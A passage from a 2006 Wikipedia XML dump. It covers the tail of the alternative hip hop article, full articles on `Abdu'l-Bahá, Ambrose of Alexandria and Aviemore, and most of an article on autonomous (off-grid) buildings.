Though most of these bands could be considered &quot;political hip hop&quot; for their lyrical focus, the early 2000s also saw futuristic or apocalyptic rappers like [[Cannibal Ox]], [[El-P]], [[Del Tha Funkee Homosapien]] and [[Aesop Rock]]. 

In the new millennium a new &quot;sub-genre&quot; arose from the West Coast, masterminded by underground rap mogul/producer [[Daddy Kev]] (famed for his work with the Freestyle Fellowship). With artists like [[Busdriver]], [[AWOL One]], [[The Shape Shifters]], [[cLOUDDEAD]], and [[Themselves]], the music became known as [[avant-hop]], prog-hop or [[indie-hop]]. These MCs and DJs blend their rhymes and beats with an [[electronica]], [[post-rock]] or [[Indie rock|indie]] crossover.  Additionally, [[Trip Hop]] artists such as the Bay Area's [[Zion I]] continue to collaborate with their forebears to keep hip hop conscious.

==See also==
*[[List of alternative hip hop musicians]]
*[[:Category:Alternative hip hop musicians]]

==Sound samples==
*[[Image:OodlesofOs.ogg|De La Soul's &quot;Oodles of Os&quot;]] from [[1991]]'s ''[[De La Soul Is Dead]]'' - note: the legendary trio are one of the early legends of alternative hip hop, here demonstrating their bizarre, almost stream-of-consciousness humor
*[[Image:What?.ogg|A Tribe Called Quest's &quot;What?&quot;]] from [[1991]]'s ''[[The Low End Theory]]'' - note: humor and obscure cultural references are characteristic of this crew; this song features off-kilter references to [[Alex Haley]]&amp;rsquo;s ''[[Roots]]'', [[Duke Ellington]], [[Superman]], [[Ed Norton]], [[Doug E. Fresh]] and [[Ralph Kramden]], as well as calls for black unity
*[[Image:LeBien,LeMal.ogg|Guru's &quot;Le Bien, Le Mal&quot; with MC Solaar]] from [[1993]]'s ''[[Jazzmatazz, Vol. 1]]'' - note: begins with French language rapping from [[MC Solaar]], probably the first non-American rapper to gain any fame in the US here combined with Guru's trademark, light jazzy accompaniment
*[[Image:Mathematics.ogg|Mos Def's &quot;Mathematics&quot;]] from [[1999]]'s ''[[Black on Both Sides]]'' - note: known for his righteous lyrics and scathing commentary, this song (with a lyrical theme focusing on mathematical operations and figures) comments on mandatory minimum sentencing, poverty, unemployment and the minimum wage, privacy, violence, jail and the police
*[[Image:AlphabetAerobics.ogg|Blackalicious' &quot;Alphabet Aerobics&quot;]] from [[1999]]'s ''[[A2G]]'' [[EP (format)|EP]] - note: this crew has gained underground fame for their unique brand of quirky rapping, here demonstrated by a song which alliterates through the alphabet
*[[Image:Still.ogg|Common's &quot;1-9-9-9&quot; with Talib Kweli and Sadat X]] from [[1999]]'s ''[[Soundbombing, Vol. 2]]'' - note: collaboration between some of the most influential performers of alternative hip hop
*[[Image:PoliceState.ogg|Dead Prez's &quot;Police State&quot;]] from [[2000]]'s ''[[Let's Get Free]]'' - note: beginning with a sampled speech before moving on to Dead Prez&amp;rsquo;s militant socio-political lyrics, also characteristically criticizing pop hip hop (specifically [[Master P]])
*[[Image:JurassFinishFirst.ogg|Jurassic 5's &quot;Jurass Finish First&quot;]] from [[2000]]'s ''[[Quality Control]]'' - note: lyrical inventiveness is the hallmark of Jurassic 5, shown in this song by the frequent use of alliteration, rhyme, word-plays and assonance; these literary techniques are so widespread that the song is difficult to decipher in spite of relatively clear diction and medium tempo
*[[Image:TradeMoney.ogg|Dilated People's &quot;Trade Money&quot;]] from [[2001]]'s ''[[Expansion Team]]'' - note: humor and social criticism are paired in this duo, here focusing on the latter with a commentary on materialism

{{hiphop}}
[[Category:Hip hop genres]] [[Category:Alternative music]]
[[Category:Underground]]

[[de:Alternative Hip Hop]]</text>
    </revision>
  </page>
  <page>
    <title>`Abdu'l-Bahá</title>
    <id>3019</id>
    <revision>
      <id>41795250</id>
      <timestamp>2006-03-01T20:26:11Z</timestamp>
      <contributor>
        <username>Gene Nygaard</username>
        <id>146986</id>
      </contributor>
      <comment>indexing</comment>
      <text xml:space="preserve">[[Image:Abdulbaha.jpg|thumb|`Abdu'l-Bahá]]
{{Bahá'í}}
'''Sir `Abdu’l-Bahá Abbas Effendi''' ([[May 23]], [[1844]] - [[November 28]], [[1921]]) commonly known as '''`Abdu’l-Bahá''' ([[Arabic language|Arabic]]/[[Persian language|Persian]]:عبد البهاء), was the son of [[Bahá'u'lláh]], the Prophet-Founder of the [[Bahá'í Faith]]. Bahá'u'lláh, in his [[Tablets_of_Baha%27u%27llah#Kit.C3.A1b-i-.27Ahd_.28Book_of_the_Covenant.29|Will and Testament]] appointed `Abdu'l-Bahá as his successor and he became the leader of the Bahá'í Faith in 1892.  Almost all Bahá'ís accepted him as Bahá'u'lláh's successor.

His [[`Abdu'l-Bahá#Journeys to the West|Journeys to the West]], and his [[Tablets of the Divine Plan]] spread the Bahá'í message beyond its [[Iran|Persian]] roots, and his [[Will and Testament of `Abdu'l-Bahá|Will and Testament]] laid the foundation for the current [[Bahá'í administration|Bahá'í administrative order]].

==Life of `Abdu'l-Bahá==
===Early life===
`Abdu'l-Bahá was born in [[Tehran]], [[Iran|Persia]] on [[May 23]], [[1844]], the eldest son of [[Bahá'u'lláh]] and [[Ásiyih Khánum, Navváb]]. He was born on the very same night on which the [[Báb]] declared his mission (Esslemont). During his youth, `Abdu'l-Bahá was shaped by his father's station as a prominent member of the [[Bábís]]. One event that affected `Abdu'l-Bahá greatly during his childhood was the imprisonment of his father, when `Abdu'l-Bahá was nine years old, which led to his family being reduced to poverty and being attacked in the streets by other children.  Esslemont records that &quot;A mob sacked their house, and the family were stripped of their possessions and left in destitution&quot; (pp 64).

===Years in exile with his father===
Bahá'u'lláh was eventually released from prison but ordered into exile, and `Abdu'l-Bahá joined his father on the journey to [[Baghdad]] in the winter of [[1853]].  During the journey Abdu'l-Bahá suffered from frost-bite. During his years in Baghdad, Abdu'l-Bahá spent much of his time reading the writings of the Báb.  He followed his father through exile to [[Constantinople]], [[Adrianople]] and finally [[Akko|Akka]], [[Palestine (region)|Palestine]], and during this time he increasingly assumed the role of Bahá'u'lláh's chief steward.  

In Akka he also gradually took over responsibility for the relationships between the small [[Bahá'í Faith|Bahá'i]] exile community and the outside world.  It was through his interaction with the people of Akka that, according to the Bahá'ís, they recognized the innocence of the Bahá'ís, and thus the conditions of imprisonment were eased. Eventually, Bahá'u'lláh was allowed to leave the city and visit nearby places.

===Family Life===
`Abdu'l-Bahá married Munirih Khanum in 1873 and they had nine children, four of whom, all daughters survived infancy.  Munirih was daughter of Mirza Muhammad Ali, who died some years prior to the marriage.  After his death Munirih Khanum came and lived with Bahá'u'lláh and his wife Navváb and they expressed an interest that she should become `Abdu'l-Bahá's wife.  They were married in the house of `Abbud.

The eldest daughter Díyá'íyyih Khánum would become the mother of `Abdu'l-Bahá's heir, his eldest grandson [[Shoghi Effendi]]. The other three daughters were Tuba Khanum, Ruha Khanum and Munavvar Khanum, the three younger daughters.

===Early years of his ministry===
After Bahá'u'lláh passed away on [[May 29]], [[1892]], the [[Tablets_of_Baha%27u%27llah#Kit.C3.A1b-i-.27Ahd_.28Book_of_the_Covenant.29|Will and Testament of Bahá'u'lláh]] named `Abdu'l-Bahá as Centre of the Covenent, and successor.  In the Will and Testament, it was stated that `Abdu'l-Bahá's half-brother, [[Mírzá Muhammad `Alí]] should be the leader of the Faith after `Abdu'l-Bahá's death.  

While most Bahá'ís followed `Abdu'l-Bahá, a handful did not and followed Mírzá Muhammad `Alí.  Maulana notes:

:&quot;Many prominent followers of Bahá'u'lláh repudiated his claims.  Among the latter were such important leaders as [[Mirza Jawad]], [[Ibrahim Khairulla]], the famous Bahá'í missionary to American, and [[Janab-i-Khadim-ullah]].&quot; 
::(Maulana, p 44, Also 'Material for the Study' p 145).

Muhammad `Alí and Mirza Jawad began to accuse `Abdu'l-Bahá of taking on too much authority, suggesting that he believed himself to be a Manifestation of God, equal in status to Bahá'u'lláh. ('Material for the Study', p 77).  `Abdu'l-Bahá in many tablets to the West, however, clearly stated that he was not a Manifestation of God, and that he was only a servent to Bahá'u'lláh.

Muhammad `Alí began to make accusations against him to the Ottoman authorities, causing them to re-introduce stricter terms to `Abdu'l-Bahá's imprisonment in [[August]] [[1901]].  It was as a result of this breakdown in relations between the half-brothers that when `Abdu'l-Bahá passed away, instead of appointing Muhammad `Alí, he left a [[Will and Testament of `Abdu'l-Bahá|Will and Testament]] which set up the framework of an administration. The two highest instituions were the Universal House of Justice, and the Guardianship, for which he appointed [[Shoghi Effendi]] as the Guardian.

===Journeys to the West===
[[Image:Abdulbaha2.jpg|thumb|Smiling `Abdu'l-Bahá during trip to US]]

The [[1908]] [[Young Turks]] revolution freed all political prisoners in the Ottoman Empire. `Abdu'l-Bahá was freed from imprisonment.

With the freedom to leave the country, in [[1910]] he embark on a three year journey to [[Egypt]], [[Europe]], and [[North America]], spreading the Bahá'í message. 

From August to December of [[1911]], `Abdu'l-Bahá visited cities in Europe, including [[London]], [[Bristol]], and [[Paris]]. The purpose of these trips was to support the Bahá'í communities in the west and to further spread his father's teachings. 

In the following year, he undertook a much more extensive journey to the [[United States]] and [[Canada]] to once again spread his father's teachings.  He arrived in [[New York City]] on [[April 11]], [[1912]], and while he spent most of his time there, he visited [[Chicago, Illinois|Chicago]], [[Cleveland, Ohio|Cleveland]], [[Pittsburgh, Pennsylvania|Pittsburgh]], [[Washington, D.C.]], [[Boston, Massachusetts|Boston]] and [[Philadelphia, Pennsylvania|Philadelphia]]. In August of the same year he started a more extensive journey to places including [[New Hampshire]], the [[Green Acre]] school in [[Maine]], and [[Montreal]] (his only visit to Canada).  He then travelled west to [[Minneapolis, Minnesota|Minneapolis]], [[San Francisco, California|San Francisco]], [[Stanford University|Stanford]], and [[Los Angeles, California|Los Angeles]] before starting to return east at the end of October.  On [[December 5]], [[1912]] he set sail back to Europe. 

Back in Europe, he visited [[London]], [[Paris]] (where he stayed for two months), [[Stuttgart]], [[Budapest]], and [[Vienna]].  Finally on [[June 12]], [[1913]] he returnd to [[Egypt]], where he stayed for six months before returnig to [[Haifa]].

===Final years===
During [[World War I]] `Abdu'l-Bahá stayed in Palestine, under the continued threat of Allied bombardment and threats from the Turkish commander.  As the war ended, the British Mandate over Palestine brought relative security to `Abdu'l-Bahá.  During his final year, a growing number of visitors and pilgims came to see him in [[Haifa]].

On [[April 27]], [[1920]], he gained the title of &quot;sir&quot; when he was awarded a [[knighthood]] by the [[British Mandate of Palestine]] for his humanitarian efforts during the war. `Abdu'l-Bahá died on [[November 28]], [[1921]]. On his funeral, Esslemont notes:
:&quot;... a funeral the like of which Haifa, nay Palestine itself, had surely never seen... so deep was the feeling that brought so many thousands of mourners together, representative of so many religions, races and tongues.&quot; 
::(p 77, quoting 'The Passing of `Abdu'l-Bahá&quot;, by Lady Blomfield and Shoghi Effendi, pp 11, 12)

He is buried in the front room of the [[Shrine of the Báb]] on [[Mount Carmel]].  Plans are in place to one day build a [[Shrine of `Abdu'l-Bahá]].  In his Will and Testament he appointed His grandson [[Shoghi Effendi|Shoghi Effendi Rabbani]] as the Guardian of the Bahá'í Faith.

==Titles of `Abdu'l-Bahá==
While many titles were given to `Abdu'l-Bahá, he preferred the title `Abdu'l-Bahá (Servant of Bahá).
Other titles include:
*Sir `Abdu’l-Bahá Abbas Effendi
*The &quot;Centre of the Covenant&quot;
*The &quot;Mystery of God&quot;
*The &quot;Perfect Exemplar&quot; of Bahá'u'lláh's teachings
*Bahá'ís frequently refer to Him as the Master

==Writings of `Abdu'l-Bahá==
The following includes some of `Abdu'l-Bahá's many books, tablets, and talks:
*Some Answered Questions
*Divine Philosophy
*[[Tablets of the Divine Plan]]
*Foundations of World Unity
*The Promulgation of Universal Peace
*[[Will and Testament of `Abdu'l-Bahá]]
*[[Secret of Divine Civilization|The Secret of Divine Civilization]]
*[[Paris Talks]]

==References==
*Browne, E.G. (1891), [http://www.h-net.msu.edu/~bahai/diglib/books/A-E/B/browne/tn/tnfrnt.htm &lt;i&gt;A Traveller’s Narrative&lt;/i&gt;], Cambridge. Includes introduction, agenda, and corrigenda.

*[http://arthursclassicnovels.com/arthurs/bahai/choshw10.html ''The Chosen Highway''], Lady Blomfield.

*{{cite book|author=Esslemont, J.E.|year=1980|edition=5th edition|title=Bahá'u'lláh and the New Era, An Introduction to the Bahá'í Faith|publisher=Bahá'í Publishing Trust, Wilmette, Illinois, USA.|id=ISBN 0877431604}}

*{{cite book|author=Effendi, Shoghi|authorlink=Shoghi Effendi|year=1995 |title=God Passes By|publisher=US Bahá'í Publishing Trust |id=ISBN 0877430209 |url=http://reference.bahai.org/en/t/se/GPB/}}

==External links==
*[http://reference.bahai.org/en/t/ab/SAB/ Selections from the Writings of `Abdu'l-Bahá]

*[http://reference.bahai.org/en/t/ab/TAB/ Tablets of `Abdu'l-Bahá Abbas]

*[http://www.littlepond.org/page0012.htm A play about Munirih Khanum, includes her picture on this page]

*[http://www.h-net.org/~bahai/diglib/books/K-O/M/Moneereh/ELMK.htm ''Episodes in the Life of Moneerah Khanum''] (1924, reprinted 2004)

*[http://thumb3.webshots.com/s/thumb2/5/80/35/185758035oWLCCF_th.jpg Grave of Manirih Khanum]

==See also==
*[[Bábís]]
*[[Bahá'u'lláh's family]]
*[[Mírzá Mihdí]]
*[[Shoghi Effendi]]
*[[Bahá'í World Centre buildings#The House of `Abdu'l-Bahá|House of `Abdu'l-Bahá]]


[[Category:Bahá'í central figures|Abdul-Baha]]
[[Category:Bahá'í holy family|Abdul-Baha]]

[[ar:عبد البهاء عباس]]
[[de:Abdu'l Baha]]
[[eo:'Abdu'l-Bahá]]
[[nl:Abdu'l-Bahá]]
[[no:Abdul-Baha]]
[[fi:`Abdu'l-Bahá]]
[[sv:Abdul-Baha]]</text>
    </revision>
  </page>
  <page>
    <title>Ambrose of Alexandria</title>
    <id>3020</id>
    <revision>
      <id>30496668</id>
      <timestamp>2005-12-07T18:56:36Z</timestamp>
      <contributor>
        <username>Dimadick</username>
        <id>24198</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Ambrose of Alexandria''' (died about [[250]] AD) was a friend of [[Origen]]. 

Attracted by Origen's fame as a teacher, he visited his school about [[212]], and was converted by Origen from the [[heresy]] of the [[Valentinius|Valentinians]] to the orthodox faith ([[Eusebius of Caesarea|Eusebius]],  ''Church History,'' VI. xviii. 1). 

He was a sufferer during the persecution under [[Maximinus Thrax]] in [[235]] ([[Eusebius of Caesarea]],  ''Church History'', VI. xxviii.),  and is last mentioned in Origen's ''Contra Celsum, '' which the latter wrote at the solicitation of Ambrose. 

He was wealthy and  provided his teacher with books for his studies and secretaries to lighten the labor of composition (Eusbius, ''Church History, '' VI. xxiii. 1-2;  [[Jerome]],  ''De vir. ill.'', lvi.). 

Origen often speaks of him in terms of affection as a man of education and literary and scholarly tastes. All of his works written after [[218]] are dedicated to Ambrose.

[[Category:250 deaths]]
[[Category:Ancient Roman Christianity]]</text>
    </revision>
  </page>
  <page>
    <title>Aviemore</title>
    <id>3021</id>
    <revision>
      <id>38763722</id>
      <timestamp>2006-02-08T14:11:13Z</timestamp>
      <contributor>
        <username>Racooon</username>
        <id>843259</id>
      </contributor>
      <text xml:space="preserve">'''Aviemore'''{{mn|afgh|1}} ([[Scottish Gaelic]]: &lt;I&gt;An Aghaidh Mhòr&lt;/I&gt;) is a [[tourist]] resort in the [[Highlands]] of [[Scotland]]. It is in the area known as [[Badenoch and Strathspey]], within the [[Highland council area|Highland Council Area]]. It is in the [[traditional counties of Scotland|traditional county]] of [[Morayshire]] and was in the [[Postal counties of the United Kingdom|postal county]] of [[Inverness-shire]].

The town is popular for [[skiing]] and other [[winter sports]], and for [[hill-walking]] in the [[Cairngorm Mountains]]. Situated within the [[Cairngorms National Park]], '''Aviemore''' is one of the largest towns in the park, with a population of 2,397 as of the last [[census]].

It is the first [[skiing resort]] to be established in Scotland and is also notable for being near the freely grazing [[reindeer]] herd at Glen More, the only one in the [[United Kingdom]].

Though the resort has... variable quality of snow and weather conditions, it is well worth a trip for a weekend or so.

The village was transformed in the [[1960s]] by large developments for the tourist industry, and pavements which were designed by [[John Poulson]], later to be the centre of a bribery scandal.

Aviemore lies on the B9152 (the &quot;old&quot; [[A9 road]] since the main road from [[Inverness]] to [[Perth, Scotland|Perth]] was rebuilt further west in the 1980s). It has a [[railway station]] on the [[Highland Main Line]] and is also the southern terminus of the [[Strathspey Railway]], a [[heritage railway]], currently being extended to '''[[Grantown-on-Spey]]'''.

== Footnote ==

*{{mnb|afgh|1}} [[Ordnance Survey]] {{gbmapping|NH895123}}.

==External links==
*[http://www.visitaviemore.com/ Visit Aviemore]
*[http://www.aviemore.co.uk/services.htm Cairngorms chamber of commerce] Local services in Aviemore.

[[Category:Towns in Highland]]
[[Category:Ski resorts in Scotland]]
{{Inverness-geo-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Autonomous building</title>
    <id>3022</id>
    <revision>
      <id>42072663</id>
      <timestamp>2006-03-03T17:08:09Z</timestamp>
      <contributor>
        <ip>65.171.255.181</ip>
      </contributor>
      <comment>/* Cooling */</comment>
      <text xml:space="preserve">An '''autonomous building''' is a building designed to be operated independently from [[infrastructure|infrastructural]] support services such as the [[electric power]] grid, municipal water systems, [[sewage treatment]] systems, [[storm drain]]s, communication services, and (in some cases) public roads.

Advocates of autonomous building describe advantages that include reduced environmental impacts, increased security, and cost efficiencies.  Some cited advantages satisfy tenets of [[green building]], not independence per se; (see below.)  Off-grid buildings often rely very little on civil services, and are therefore safer and more comfortable during civil disaster or military attacks.

The process of going off-grid may bring intangible benefits, such as an examination of personal responsibility, a conscious decision about one's relationship to society, and the psychological virtues of independence.{{fact}}

Most of the research and publication of autonomous building is about residential homes.  In the [[1990s]] architects such as [[William McDonough]] and [[Ken Yeang]]  applied environmentally responsible building design to large commercial buildings, such as office buildings, making them largely self-sufficient in energy production.  One major bank building ([[ING Group|ING]]'s [[Amsterdam]] headquarters) in the [[Netherlands]] was constructed to be autonomous, and artistic as well.

British architects [[Brenda and Robert Vale]] have said that, as of 2002, &quot;It is quite possible in all parts of Australia to construct a 'house with no bills', which would be comfortable without heating and cooling, which would make its own electricity, collect its own water and deal with its own waste... These houses can be built now, using off-the-shelf techniques. It is possible to build a &quot;house with no bills&quot; for the same price as a conventional house, but it would be (25%) smaller.&quot;

== Theory ==

As an architect or engineer becomes more concerned with the disadvantages of transportation networks, and dependence on distant resources, their designs tend to include more autonomous elements.  The historic path to autonomy was a concern for secure sources of heat, power, water and food.  A nearly parallel path toward autonomy has been to start with a concern for environmental impacts, which cause disadvantages.  

Autonomous buildings can increase security and reduce environmental impacts by using on-site resources (such as sunlight and rain) that would otherwise be wasted.  Autonomy often dramatically reduces the costs and impacts of networks that serve the building, because autonomy short-circuits the multiplying inefficiencies of collecting and transporting resources.  Other impacted resources, such as oil reserves and the retention of the local watershed, can often be cheaply conserved by thoughtful designs.

Autonomous buildings are usually energy-efficient in operation, and therefore cost-efficient, for the obvious reason that smaller energy needs are easier to satisfy off-grid.  But they may substitute energy production or other techniques to avoid diminishing returns in extreme conservation.

An autonomous structure is not always environmentally friendly.  The goal of independence from support systems is associated with, but not identical to, other goals of environmentally responsible [[green building]]. However, autonomous buildings also usually include some degree of [[sustainability]] through the use of renewable resources, producing no more [[greenhouse gases]] than they consume, and other measures.

== History ==

Autonomous building is an idea of western civilization in the 20th century.  Inhabitants of cabins, huts and yurts through most of history were off-grid whether they liked it or not.

In the [[1930s]] through the [[1950s]], [[Buckminster Fuller]]'s three prototype [[Dymaxion house]]s adopted many techniques to reduce resource use, such as a &quot;fogger&quot; shower head to reduce water use, a packaging toilet, and a vacuum turbine for electric power.  While not designed as autonomous per se, Fuller's concern with sustainable and efficient design is congruent with the goal of autonomy, and showed that it was theoretically possible.  One of the three prototype Dymaxion houses that Fuller produced was made part of the conventional Graham family residence in [[Wichita, Kansas]], and has now been reconstructed at the [[Henry Ford Museum]].  

In the [[1970s]], a group of activists and engineers calling themselves the [[New Alchemists]] believed the warnings of imminent resource depletion and starvation.  The New Alchemists were famous for the depth of research effort placed in their projects.  Using conventional construction techniques, they designed a series of &quot;bioshelter&quot; projects, the most famous of which was the [[Ark Bioshelter]] community for [[Prince Edward Island]].  They published the plans for all of these, with detailed design calculations and blueprints.  The Ark used wind based water pumping and electricity, and was self-contained in food production.  It had living quarters for people, [[fish farming|fish]] tanks raising [[Tilapia]] for [[protein]], a [[greenhouse]] watered with fish water and a closed loop sewage reclamation system that recycled human waste into sanitized fertilizer for the fish tanks.  As of 2004, the successor organization to the New Alchemists still had a web page up as the
[http://www.fuzzylu.com/greencenter/index.htm Green Center].  The PEI Ark has been abandoned and partially renovated several times.

The [[1990s]] saw the development of [[Earthships]], similar in intent to the Ark project, but organized as a for-profit venture, with construction details kept as proprietary information.  The building material is [[tire]]s filled with [[soil|earth]].  This makes a wall that has large amounts of thermal mass (see [[earth sheltering]]).  Berms are placed on exposed surfaces to further increase the house's temperature stability.  The water system starts with rain water, processed for drinking, then washing, then plant watering, then toilet flushing, and finally black water is recycled again for more plant watering.  The cisterns are placed and used as thermal masses.  Power, including electricity, heat and water heating, is from solar power.

== Practicality ==

First and fundamentally, independence is a matter of degree.  Complete independence is very hard or impossible to attain.  For example, eliminating dependence on the electrical grid is one thing, and growing all of your own food is a more demanding and time-consuming proposition.

Living in an autonomous shelter can require one to make sacrifices in one's lifestyle choices, personal behavior, and social expectations.  Even the most comfortable and technologically advanced autonomous houses may require some differences in behavior.  Some persons adjust easily.  Others describe the experience as inconvenient, irritating, isolating, or even as an unwanted full-time job.  A well-designed building can reduce this issue, but usually at the expense of reduced autonomy.

An autonomous house must be custom-built (or extensively retrofitted) to suit the climate and location.  Passive solar techniques, alternative toilet and sewage systems, thermal massing designs, basement battery systems, efficient fenestration, and the array of other design tactics require some degree of non-standard construction, added expense, ongoing experimentation and maintenance, and also have an effect on the psychology of the space.

The Vales, among others, have shown that living off-grid can be a practical, logical lifestyle choice - under certain conditions.

== Maintenance Systems ==
This section includes some minimal descriptions of methods, to give some feel for such a building's practicality, provide indexes to further information, and give a sense of modern trends.

=== Water ===

Water is the most important utility, and is fast becoming a scarce resource.  There are many methods of collecting and conserving water, and use reduction is usually quite cost-effective.

[[Greywater]] systems reuse wash water to flush [[toilet]]s, and water lawns and [[garden]]s.  Greywater systems can halve the water use of most residential buildings; however, they require the purchase of a sump, greywater pressurization pump and secondary [[plumbing]]. Some builders are installing [[waterless urinal|waterless urinals]] and even [[composting toilet|composting toilets]] that completely eliminate water usage in sewage disposal.

Most [[desert]] and [[temperate climate]]s get at least 250 mm (10 in) of [[rain]] per year.  This means that a typical one story [[house]] with a greywater system can supply its year-round water needs from its roof alone.  In the most extremely dry areas, it will require a cistern of 30 m&amp;sup3; (8400 US gallons).  Many areas average 13 mm (0.5 in) of rain per week, and these can use a cistern as small as 10 m&amp;sup3;.  It can be convenient to use the cistern as a heat sink or trap for a [[heat pump]] or [[HVAC|air conditioning]] system; however this can make cold drinking water warm, and in drier years the efficiency of the HVAC system may decrease.

Cistern design can reduce costs and inconvenience.  Gravity tanks on short towers are reliable, so pump repairs are less urgent.  The least expensive bulk cistern is a fenced pond or pool at ground level.

The size and expense of a cistern can be reduced substantially when supplemented with water deliveries.  Many autonomous homes can reduce water use below ten gallons per person per day.  In a [[drought]], water can be delivered to the house inexpensively via truck.  Self delivery is possible by installing fabric water-tanks that can fit inside the bed of a pick-up truck.

In some areas, it is difficult to keep a roof clean enough to assure that the [[water]] collection is sanitary for drinking.  Commercial [[reverse osmosis]] systems provide good quality drinking water, and some people attach devices to remineralize drinking water afterwards, or simply buy bottled water for drinking.  Water makers are available for yachts that convert seawater and electricity into [[Drinking water|potable water]] and brine.

New technologies, like [[Reverse Osmosis]] Water Processors and [[Vapaire]]s can create unlimited amounts of pure water from polluted water, ocean water, and even from air.

=== Sewage ===

Sewage handling is not attractive, but it is essential for public health.  Many [[disease]]s are transmitted by poorly functioning sewage systems.

The standard system is a tiled leach field combined with a [[septic tank]].  The basic idea is to provide a small system with primary [[sewage treatment]].  Sludge settles to the bottom of the septic tank, is partially reduced by anaerobic digestion, and fluid is dispersed in the leach field.  The leach field is usually under a yard growing grass.  Septic tanks can operate entirely by gravity, and if well managed, are reasonably safe.

Septic tanks have to be pumped periodically by a &quot;honey wagon&quot; to eliminate non reducing solids.  Failure to pump a septic tank can cause overflow that damages the leach field, and contaminates ground water.  Septic tanks may also require some lifestyle changes, such as not using garbage disposals, minimizing fluids flushed into the tank, and minimizing nondigestible solids flushed into the tank.  For example, septic safe toilet paper is recommended.

However, septic tanks remain popular because they permit standard plumbing fixtures, and require few or no lifestyle sacrifices.

Composting or packaging toilets make it economical and sanitary to throw away sewage as part of the normal garbage collection service.  They also reduce water use by half, and eliminate the difficulty and expense of septic tanks. However, they require the local landfill to use sanitary practices.

Incinerator systems are quite practical.  The ashes are biologically safe, and less than 1/10 the volume of the original waste, but like all incinerator waste, are usually classified as hazardous waste.

State of the art home sewage treatment systems use biological treatment, usually beds of plants and aquaria, that eliminate nutrients and bacteria and convert greywater and sewage to clear water.  This odor and color free reclaimed water can be used to flush toilets and water outside plants.  When tested, it approaches standards for potable water.  In climates that freeze, the plants and aquaria need to be kept in a small greenhouse space.  Good systems need about as much care as a large [[aquarium]].

[[NASA]]'s [[bioreactor]] is such an advanced biological sewage system.  It can turn sewage into air and water through microbial action. NASA plans to use it in the manned [[Mars]] mission.

A big disadvantage of living sewage treatment systems is that if the house is empty, the sewage system starves to death.

The approaches above treat human excrement as a waste rather than a resource. [[Humanure]] is composted human excrement, and can return nutrients to a garden. Recycling human excrement  requires minimal life-style changes.

Another method is NASA's urine-to-water [[distill]]ation system.

Some of the oldest pre-system sewage types are [[pit toilet]]s, [[latrine]]s, and [[outhouse]]s. These are still used in many developing countries.

=== Storm drains ===

Drainage systems are a crucial compromise between human habitability and a secure, sustainable watershed.  Paved areas and lawns or turf do not allow much precipitation to filter through the ground to recharge aquifers.  They can cause flooding and damage in neighbourhoods, as the water flows over the surface towards a low point.

Typically, elaborate, capital-intensive storm [[sewer]] networks are engineered to deal with [[storm water]].  In some cities, such as [[Victorian era]] [[London Sewers]] or much of the [[old City of Toronto]] the storm water system is combined with the sanitary sewer system.  In the event of heavy precipitation, the load on the sewage treatment plant at the end of the pipe becomes too great to handle and raw sewage is dumped into holding tanks, and sometimes into surface water.

Autonomous buildings can address precipitation in a number of ways:

If a water absorbing [[swale (geographical feature)|swale]] for each yard is combined with permeable [[concrete]] streets, storm drains can be omitted from the neighbourhood.  This can save more than $500 per house (1995) by eliminating storm drains.  One fine way to use the savings is to purchase larger lots, which permits more amenities at the same cost.  Permeable concrete is an established product in warm climates, and in development for freezing climates.  In freezing climates, the elimination of storm drains can often still pay for enough land to construct swales (shallow water collecting ditches) or water impeding berms instead.  This plan provides more land for homeowners and can offer more interesting topography for landscaping.

A [[green roof]] captures precipitation and uses the water to grow plants.  It can be built into a new building or used to replace an existing roof.

=== Electricity ===

Since electricity is an expensive utility, the first step towards conservation is to design a house and lifestyle to reduce demand.  Fluorescent lights, laptop computers and gas-powered refrigerators save both electricity and money.

Using a solar roof, [[solar cell]]s can currently ([[as of 2004|2004]]) provide electric power. Solar roofs are far more cost-effective than retrofitted solar power, because buildings need roofs anyway. Modern solar cells last about 40 years, which makes them a reasonable investment in some areas.

A number of areas that lack [[sun]] have [[wind]]. To generate power, the average autonomous house needs only one small [[wind generator|wind turbine]], 5 m or less in diameter.  On a 30 m tower, this turbine can provide enough power to supplement solar power on cloudy days.  Commercially available wind turbines use sealed, one-moving-part AC generators and passive, self-feathering blades for years of operation without service.

The largest advantage of [[wind power]] is that larger wind turbines have a lower per-watt cost than solar cells, provided there is wind.  However, location is critical. Just as some locations lack sun for solar cells, some locations lack sufficient wind for an economical turbine installation.  Paul Gipe (a recognized authority, see below) says that in the [[Great Plains]] of the [[United States]] a 10 m turbine can supply enough energy to heat and cool a well-built all-electric house.  Economic use in other areas requires research, and possibly a site-survey.

During times of low demand, excess power can be stored in batteries for future use. However, batteries need to be replaced every few years.  In many areas, battery expense can be eliminated by attaching the building to the [[Distributed generation|electric power grid]] and operating the power system with net metering.  Such a building is less autonomous, but more economical and sustainable with fewer lifestyle sacrifices. Some electrical utilities either pay or give electricity credits to homes that produce energy and put it back into the grid when it's not required for immediate household use. 

In areas that lack access to the grid, battery size can be reduced by including a generator to recharge the batteries during extended fogs or other low-power conditions.  Auxiliary generators are usually run from gas, or sometimes diesel.  An hour of charging usually provides a day of operation.

Recent advances in [[magnetic levitation|passively stable magnetic bearings]] may someday permit inexpensive storage of power in a flywheel in a vacuum.  Well-funded groups like Canada's [[Ballard Power Systems]] are also working to develop a &quot;regenerative [[fuel cell]],&quot; a device that can generate hydrogen and oxygen when power is available, and combine these efficiently when power is needed.

[[Earth battery| Earth batteries]] tap into the electric currents inside the earth called [[telluric current]]. They can be installed anywhere in the ground, but provide very little electricity. They were used to power [[Telegraphy|telegraph]]s in the 19th century. Earth batteries may be used again in the future, if electric appliances become so efficient that they require very little electricity.

=== Heating ===

[[Passive solar heating]] can heat most buildings in even the coldest climates.

Modern [[krypton]]- or [[argon]]-insulated windows permit otherwise normal looking windows to provide passive solar heat without compromising structural strength.  The basic requirement for passive solar heating is that the windows must face the prevailing sunlight (south in the northern hemisphere, north in the southern hemisphere), and the building must incorporate [[thermal mass]] to keep it warm in the night.

[[Earth sheltering]] and [[windbreak]]s can also reduce the absolute amount of heat needed by a building.  Several feet below the earth, temperature ranges from 4°C (40 °F) in North Dakota to 26 °C (80 °F)[http://www.greenershelter.org/TokyoPaper.pdf ], in Southern Florida.  Wind breaks reduce the amount of heat carried away from a building.

Rounded, aerodynamic buildings also lose less heat.

If small amounts of [[gas]], [[heating oil]] or [[wood]] heat are available for the coldest nights, a properly designed slab or basement cistern can inexpensively provide the required [[thermal mass]].  In colder climates, construction costs can be as little as 15% more than new, conventional buildings.  In warm climates, those having less than two weeks of frosty nights per year, there is no cost impact.

